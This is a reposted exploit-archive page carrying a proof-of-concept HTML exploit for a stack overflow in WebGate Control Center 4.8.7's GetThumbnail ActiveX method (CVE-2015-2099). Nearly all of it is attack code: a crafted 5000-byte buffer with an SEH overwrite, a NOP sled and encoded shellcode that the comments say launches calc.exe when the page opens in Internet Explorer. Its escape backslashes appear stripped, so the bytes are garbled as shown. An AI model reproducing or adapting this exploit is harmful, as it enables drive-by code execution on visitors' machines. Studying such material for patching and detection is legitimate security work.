Home / exploitsPDF  

WebGate Control Center 4.8.7 GetThumbnail Stack Overflow

Posted on 28 March 2015

<html>
<!--
Author: Praveen Darshanam
http://blog.disects.com/
http://darshanams.blogspot.com

# Exploit Title: WebGate Control Center GetThumbnail Stack Overflow SEH Overwrite (0Day)
# Date: 27th March, 2015
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
# Software Link: http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=35
# Version: Control Center 4.8.7
# Tested on: Windows XP SP3 using IE/6/7/8
# CVE : 2015-2099

targetFile = "C:WINDOWSsystem32WESPSDKWESPPlayback.dll"
prototype = "Sub GetThumbnail ( ByVal SiteSerialNumber As String , ByVal Channel As Integer , ByVal secTime As Long , ByVal miliTime As Integer )"
progid = "WESPPLAYBACKLib.WESPPlaybackCtrl"
-->

<object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='getthumb'>
</object>
<script>

var buff1 = "";
var arg2=1;
var arg3=1;
var arg4=1;
var nops = "";
var buff2 = "";

for (i=0;i<24; i++)
{
 buff1 += "B";
}

// jump over seh to shellcode
nseh = "xebx08PD";
// pop pop ret
var seh = "xa0xf2x07x10";

for (i=0;i<80; i++)
{
 nops += "x90";
}
//calc.exe payload
sc = "x54x5dxdaxc9xd9x75xf4x59x49x49x49x49x49" +
"x43x43x43x43x43x43x51x5ax56x54x58x33x30" +
"x56x58x34x41x50x30x41x33x48x48x30x41x30" +
"x30x41x42x41x41x42x54x41x41x51x32x41x42" +
"x32x42x42x30x42x42x58x50x38x41x43x4ax4a" +
"x49x4bx4cx5ax48x4bx32x45x50x55x50x43x30" +
"x53x50x4bx39x4dx35x30x31x4fx30x52x44x4c" +
"x4bx56x30x46x50x4cx4bx31x42x34x4cx4cx4b" +
"x31x42x44x54x4cx4bx32x52x47x58x54x4fx38" +
"x37x50x4ax37x56x46x51x4bx4fx4ex4cx57x4c" +
"x35x31x33x4cx33x32x46x4cx37x50x49x51x48" +
"x4fx34x4dx45x51x4fx37x4dx32x4ax52x36x32" +
"x46x37x4cx4bx36x32x32x30x4cx4bx30x4ax37" +
"x4cx4cx4bx30x4cx32x31x54x38x5ax43x51x58" +
"x33x31x4ex31x30x51x4cx4bx36x39x47x50x53" +
"x31x48x53x4cx4bx30x49x35x48x5ax43x36x5a" +
"x57x39x4cx4bx46x54x4cx4bx33x31x49x46x56" +
"x51x4bx4fx4ex4cx49x51x38x4fx54x4dx35x51" +
"x58x47x37x48x4dx30x34x35x4ax56x43x33x43" +
"x4dx5ax58x37x4bx43x4dx46x44x43x45x4dx34" +
"x56x38x4cx4bx56x38x31x34x43x31x4ex33x42" +
"x46x4cx4bx44x4cx30x4bx4cx4bx36x38x45x4c" +
"x45x51x4ex33x4cx4bx54x44x4cx4bx33x31x48" +
"x50x4cx49x57x34x36x44x51x34x51x4bx51x4b" +
"x33x51x30x59x50x5ax36x31x4bx4fx4bx50x31" +
"x4fx51x4fx51x4ax4cx4bx42x32x5ax4bx4cx4d" +
"x31x4dx53x5ax35x51x4cx4dx4cx45x58x32x43" +
"x30x53x30x55x50x56x30x42x48x50x31x4cx4b" +
"x42x4fx4dx57x4bx4fx59x45x4fx4bx5ax50x48" +
"x35x4fx52x30x56x53x58x4ex46x5ax35x4fx4d" +
"x4dx4dx4bx4fx38x55x47x4cx53x36x33x4cx45" +
"x5ax4bx30x4bx4bx4bx50x43x45x43x35x4fx4b" +
"x47x37x32x33x53x42x42x4fx42x4ax55x50x46" +
"x33x4bx4fx49x45x43x53x53x51x52x4cx52x43" +
"x36x4ex55x35x44x38x33x55x33x30x41x41";

for (i=0;i<(5000-(buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++)
{
 buff2 += "A";
}

fbuff = buff1 + nseh + seh + nops + sc + buff2;
getthumb.GetThumbnail(fbuff ,arg2 ,arg3 ,arg4);

</script>
</html>

 

TOP

Malware :

Exploits :